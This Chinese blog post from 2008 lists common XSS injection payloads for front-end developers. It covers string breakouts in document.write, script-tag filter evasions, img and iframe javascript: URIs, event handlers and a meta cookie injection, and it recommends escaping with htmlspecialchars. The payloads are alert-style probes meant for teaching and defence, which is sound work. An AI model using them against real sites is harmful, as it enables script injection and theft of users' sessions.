常见的 XSS 注入攻击方式 Part.1

作者:grace 来源:gracecode.com 时间:2008-10-30 13:06:00 

前端开发常见的安全问题就是会遭受 XSS 注入攻击,这里列举常见的代码注入方式。

Javascript 代码注入

Javascript 代码注入主要表现为直接引用未经校验的字符串、解析不安全的 JSON 数据(包括 JSONP)等。

很多时候会写这样的代码



document.write('u name is' + name);

这就会形成一定的安全性问题(如果服务器端没有过滤的话),比如 name 为下面的数据,在没有经过过滤时



';alert('xss');//

";alert('xss');//

'';!--"<xss>=&{()}

就会破坏原有代码结构,插入不期望的代码。

HTML 标签注入

HTML 注入是较为常见的一种方式,主要的注入入口为不周全的正则过滤、内联样式(针对 Exploer),下面是常见的注入代码

逃过不周全的正则过滤,解决方案为使用 PHP 的 htmlspecialchars 以及 htmlentities 等类似函数转义。



<sCrIpT src=xss.js></sCrIpT> 
<script src=xss.js> </script>
 <script/xss src="xss.js"></script>
 <script/SRC="xss.js"></script>
<<script>alert("xss");//<</script>
<script>a=/xss/ alert(a.source)</script>

从图片标签中注入,在些论坛上比较常见



<img src="javascript:alert('xss');">

<img """><script>alert("xss")</script>">

<img src="xss.php?param">

从连接标签上注入(虽然本人没有发现过案例,不过也不能轻视)



<script a=">" SRC="xss.js"></script>

<script =">" SRC="xss.js"></script>

<script a=">" '' SRC="xss.js"></script>

其他容易注入的地方



<body onload=alert('xss')>

<iframe src="javascript:alert('xss');"></iframe>

<embed src="xss.swf" AllowScriptAccess="always"></embed>

<meta http-equiv="Set-Cookie" content="USERID=<script>alert('xss')</script>">

先摘记举例那么多,下期的内容包括“CSS 注入”、“其他注入方法”以及一般性解决方案,欢迎探讨和纠正。

标签:xss,注入,前端,javascript
0
投稿

猜你喜欢

  • 浅谈Exchange Server邮件存储系统

    2010-02-25 18:53:00
  • 饭团:百度竞价实战教程第一课

    2010-03-07 14:22:00
  • 提高网站浏览量的方法

    2007-08-24 13:03:00
  • 两个月时间做排名到百度前页 简单的三点

    2008-12-16 09:58:00
  • vmware 实现linux目录映射window本地目录图文详解

    2021-01-17 14:35:22
  • 解决Linux服务器下误删除文件的操作

    2008-09-26 17:33:00
  • 揭密百度和谷歌收录规律

    2008-12-23 13:38:00
  • sns的web game力量

    2008-09-12 15:56:00
  • 基础知识详解 反向链接在搜索优化中的作用

    2009-01-23 14:42:00
  • 金子(搜索引擎)与掘金者(SEOer)

    2009-09-26 11:28:00
  • linux用户组以及权限总结

    2023-07-13 14:16:43
  • dedeV5.5提示注册失败的解决办法

    2009-08-28 12:32:00
  • 重视你的口碑 负面信息处理常见四种方法

    2009-02-20 12:53:00
  • 网络营销-软文如何利用文章来呈现营销

    2009-10-04 08:15:00
  • 个人网站怎样转成商业网站

    2008-07-29 19:32:00
  • DEDE模版标记

    2009-05-02 18:29:00
  • 谷歌暂停AdSense推介业务的背后

    2008-07-15 07:26:00
  • 服务器数据备份寻找适合自己的最佳做法

    2009-09-20 20:17:00
  • centos8 安装 nginx的详细教程(图文)

    2022-08-21 12:04:01
  • Xshell远程连接linux详细步骤(小白必备)

    2022-01-29 20:05:55
  • asp之家 网站运营 m.aspxhome.com